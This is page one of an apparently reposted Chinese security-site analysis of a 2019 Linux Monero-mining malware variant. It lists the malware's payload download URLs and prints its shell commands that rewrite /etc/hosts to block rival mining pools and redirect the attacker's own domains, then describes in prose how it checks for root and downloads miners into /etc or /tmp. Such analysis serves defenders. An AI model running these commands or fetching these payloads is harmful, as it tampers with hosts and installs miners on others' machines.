欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

你的机器正在被挖矿 Linux挖矿变种来袭

来源:本站整理 作者:佚名 时间:2019-07-04 TAG: 我要投稿

样本简介
近日捕获到一款新型的Linux挖矿病毒变种样本,相关的URL下载信息如下所示:
http://w.3ei.xyz:43768/initdz(服务器已关)
http://w.lazer-n.com:43768/initdz
通过微步在线对服务器URL进行查询,w.3ei.xyz如下所示:

w.lazer-n.com,如下所示:

此挖矿病毒到目前为止已经挖了111个门罗币了,而且还在继续挖矿……
 
详细分析
1.修改主机host文件,如下所示:

在主机host文件中,写入如下内容:
 
echo \"127.0.0.1 mine.moneropool.com\" >> /etc/hosts
echo \"127.0.0.1 xmr.crypto-pool.fr\" >> /etc/hosts
echo \"127.0.0.1 monerohash.com\" >> /etc/hosts
echo \"127.0.0.1 xmrpool.eu\" >> /etc/hosts
echo \"127.0.0.1 pool.noobxmr.com\" >> /etc/hosts
echo \"127.0.0.1 pool.minexmr.cn\" >> /etc/hosts
echo \"127.0.0.1 xmr.poolto.be\" >> /etc/hosts
echo \"127.0.0.1 monerohash.com\" >> /etc/hosts
echo \"127.0.0.1 stratum.viaxmr.com\" >> /etc/hosts
echo \"127.0.0.1 pool.monero.hashvault.pro\" >> /etc/hosts
echo \"127.0.0.1 xmr-us.suprnova.cc\" >> /etc/hosts
echo \"127.0.0.1 de.moriaxmr.com\" >> /etc/hosts
echo \"127.0.0.1 de2.moriaxmr.com\" >> /etc/hosts
echo \"127.0.0.1 fr.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 de.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 ca.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 sg.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 xmr.bohemianpool.com\" >> /etc/hosts
echo \"127.0.0.1 xmr-usa.dwarfpool.com\" >> /etc/hosts
echo \"127.0.0.1 monero.miners.pro\" >> /etc/hosts
echo \"127.0.0.1 xmr.prohash.net\" >> /etc/hosts
echo \"127.0.0.1 thyrsi.com\" >> /etc/hosts
echo \"127.0.0.1 minerxmr.ru\" >> /etc/hosts
echo \"127.0.0.1 zer0day.ru\" >> /etc/hosts
echo \"127.0.0.1 minergate.com\" >> /etc/hosts
echo \"127.0.0.1 pixeldra.in\" >> /etc/hosts
echo \"220.194.237.43 w.3ei.xyz\" >> /etc/hosts
echo \"220.194.237.43 w.21-3n.xyz\" >> /etc/hosts
2.测试主机是否能联网,如下所示:

3.检测/etc/zigw、/tmp/zigw、/etc/zjgw等文件是否存在,如果存在,则结束相关进程,删除对应的文件,如下所示:

4.判断主机是否拥有root权限,如下所示:

5.如果主机拥有root权限,同时判断/etc目录下是否存在pvds程序,如果不存在则从http://w.lazer-n.com:43768/pvds网站下载挖矿程序到/etc目录下pvds,如下所示:

挖矿程序,如下所示:

6.判断/etc目录下是否存在httpdz和migrations程序,如果不存在,则从服务器下载相应的挖矿程序,如下所示:

7.判断/usr/bin/rmn和/etc/yums两个程序是否存在,如果存在,则从服务器下载挖矿程序,如下所示:

8.如果不是root权限,则下载相应的挖矿程序到/tmp/pvds、/tmp/httpdz、/tmp/migrations等,如下所示:

9.能过判断是否为root权限,下载挖矿程序到/etc/initdz或/tmp/initdz,进行挖矿操作,如下所示:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载